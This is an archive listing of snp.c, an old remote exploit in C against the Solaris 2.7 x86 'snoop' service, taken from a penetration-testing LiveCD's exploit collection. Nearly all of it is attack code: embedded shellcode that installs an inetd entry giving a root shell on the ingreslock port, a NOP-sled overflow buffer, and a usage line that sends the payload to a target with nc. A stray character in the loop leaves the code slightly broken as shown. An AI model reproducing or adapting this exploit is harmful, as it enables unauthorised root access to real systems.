home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / snp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  63 lines

  1. /*
  2.    by: K2,
  3.    version .2
  4.    this is a funny Solaris.
  5.    remote Solaris 2.7 x86 snoop exploit
  6.    rm /tmp/w0 yourself!&@$*(&$!*(@*$&()%RW
  7.  
  8.    run with ( ./snp ) | nc -u target_host_network 53
  9.    requires target host to be running "snoop"
  10.  
  11.    verified with patch 108483-01
  12.  
  13.    thx str/horizon for shellcodes.  Hi plageuz
  14.    Hi mom.
  15. */
  16.  
  17. #include <unistd.h>
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21.  
  22. char shell[] =
  23.   "\xEB\x37\x5E\x8D\x5E\x10\x89\x1E\x83\xC3\x08\x89"
  24.   "\x5E\x04\x83\xC3\x03\x89\x5E\x08\x83\xEB\x0B\x8D"
  25.   "\x0E\x89\xCA\x33\xC0\x89\x46\x0C\x89\x46\xF5\x89"
  26.   "\x46\xFA\x88\x46\x17\x88\x46\x1A\xB0\x3B\x52\x51"
  27.   "\x53\x50\x9A\x73\x74\x72\x6E\x07\x72\xE8\xC4\xFF"
  28.   "\xFF\xFF\x31\x33\x20\x4A\x61\x6E\x20\x31\x39\x39"
  29.   "\x38\x2D\x2D\x73\x74\x72\x2F\x62\x69\x6E\x2F\x73"
  30.   "\x68\x28\x2D\x63\x29 echo w00w00;echo \"ingreslock"
  31.   "stream tcp nowait root /bin/sh sh -i\" >>/tmp/w0;"
  32.   "/usr/sbin/inetd -s /tmp/w0;/bin/rm -f /tmp/w0";
  33.  
  34. #define SIZE 2048
  35. #define NOPDEF 349
  36. #define DEFOFF 0
  37.  
  38. const char x86_nop=0x90;
  39. long nop=NOPDEF,esp=0x804646c;
  40. long offset=DEFOFF;
  41. char buffer[SIZE];
  42.  
  43. int main (int argc, char *argv[])
  44. {
  45.   int i;
  46.  
  47.   if (argc > 1) offset += strtol(argv[1], NULL, 0);
  48.   if (argc > 2) nop += strtoul(argv[2], NULL, 0);
  49.  
  50.   memset(buffer, x86_nop, SIZE);
  51.   memcpy(buffer+nop, shell, strlen(shell));
  52.   for (i = nop+strlen(shell); i < SIZE-4; i += 4)
  53.     {
  54.       *((int *) &buffer[i]) = esp+offset;
  55.       z
  56.     }
  57.  
  58.   fprintf(stderr,"0x%x\n",esp+offset);
  59.   printf("%s", buffer);
  60.  
  61.   return 0;
  62. }
  63. /*                    www.hack.co.za              [2000]*/